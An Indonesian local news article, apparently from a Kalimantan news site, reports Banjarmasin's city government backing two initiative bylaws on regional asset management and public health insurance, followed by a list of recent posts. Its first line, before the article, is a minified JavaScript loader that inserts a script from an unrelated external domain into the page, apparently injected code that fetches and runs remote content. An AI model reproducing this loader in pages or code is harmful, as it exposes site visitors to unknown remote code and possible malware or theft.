(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Dukung Pembahasan 2 Raperda Inisiatif


BANJARMASIN, Pemko Banjarmasin menyatakan dukungan terhadap dua Raperda insiatif yang akan dibahas para legislator kota seribu sungai. Dukungan yang diberikan para eksekutif itu memang sangat masuk akal. Pasalnya, semua Raperda yang akan dibahas itu bertujuan untuk memberikan kemaslahatan bagi seluruh masyarakat Kota Banjarmasin.

Dalam Sidang Paripurna Pembicaraan Tingkat 1 dan Internal, yang dilaksanakan di ruang Rapat Paripurna Kantor DPRD Kota Banjarmasin, Walikota H Ibnu Sina yang diwakili Sekda Kota Banjarmasin H Hamli Kursani secara tegas menyatakan, Pemko siap bermitra dan mendukung seluruh pembahasan Raperda tentang Pengelolaan Barang Milik Daerah dan tentang Penyelenggaraan Jaminan Kesehatan Bagi Masyarakat, Selasa (13/3).

Dukungan yang diberikan para eksekutif itu, sejalan dengan tanggapan 9 fraksi yang ada di gedung wakil rakyat tersebut. Mereka juga menyatakan persetujuannya terhadap pembentukan Raperda tersebut untuk dijadikan Perda.

Menurut H Hamli Kursani, bila Raperda tentang  Penyelenggaraan Jaminan Kesehatan Bagi Masyarakat itu resmi menjadi Perda, maka seluruh masyarakat kurang mampu yang ada di Bumi Kayuh Baimbai semuanya akan merasa terayomi.

Memang, lanjut Hamli, saat ini belum diketahui pasti pasal-pasal yang akan tercantum dalam Raperda tersebut. Namun begitu, hal tersebut akan segera terjawab setelah dilakukan pembahasan,  termasuk bagaimana nantinya keterkaitan BPJS, Jamkesda, Kartu Indonesia Sehat dan lainnya, dengan adanya Rapeda tersebut.

“Tapi pada prinsipnya rohnya dari rapat ini kan pokoknya masyarakat Banjarmasin itu terlayani, dijamin dalam bidang kesehatan,” jelasnya.

Dalam rapat yang diikuti seluruh pimpinan SKPD dan para Kabag lingkup Pemko Banjarmasin itu, Hamli juga mengatakan, meski Pemko Banjarmasin telah memiliki Perda yang mengatur tentang aset, namun Raparda inisiatif tentang Pengelolaan Barang Milik Daerah tetap diperlukan.

Hal ini, lanjutnya, untuk mengimbangi perkembangan dan kondisi zaman yang kian maju. “Selama ini kan kita sudah ada, tapi kan tentu saja peraturan-peraturannya berkembang, kemudian kondisi-kondisi juga berkembang. Nah hal-hal yang seperti ini yang disesuaikan, perlu di update kembali, sehingga  apa yang menjadi kekurangan dapat diperbaiki dan diperbarui,” jelasnya.(ammar)

Reporter: Ammar
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.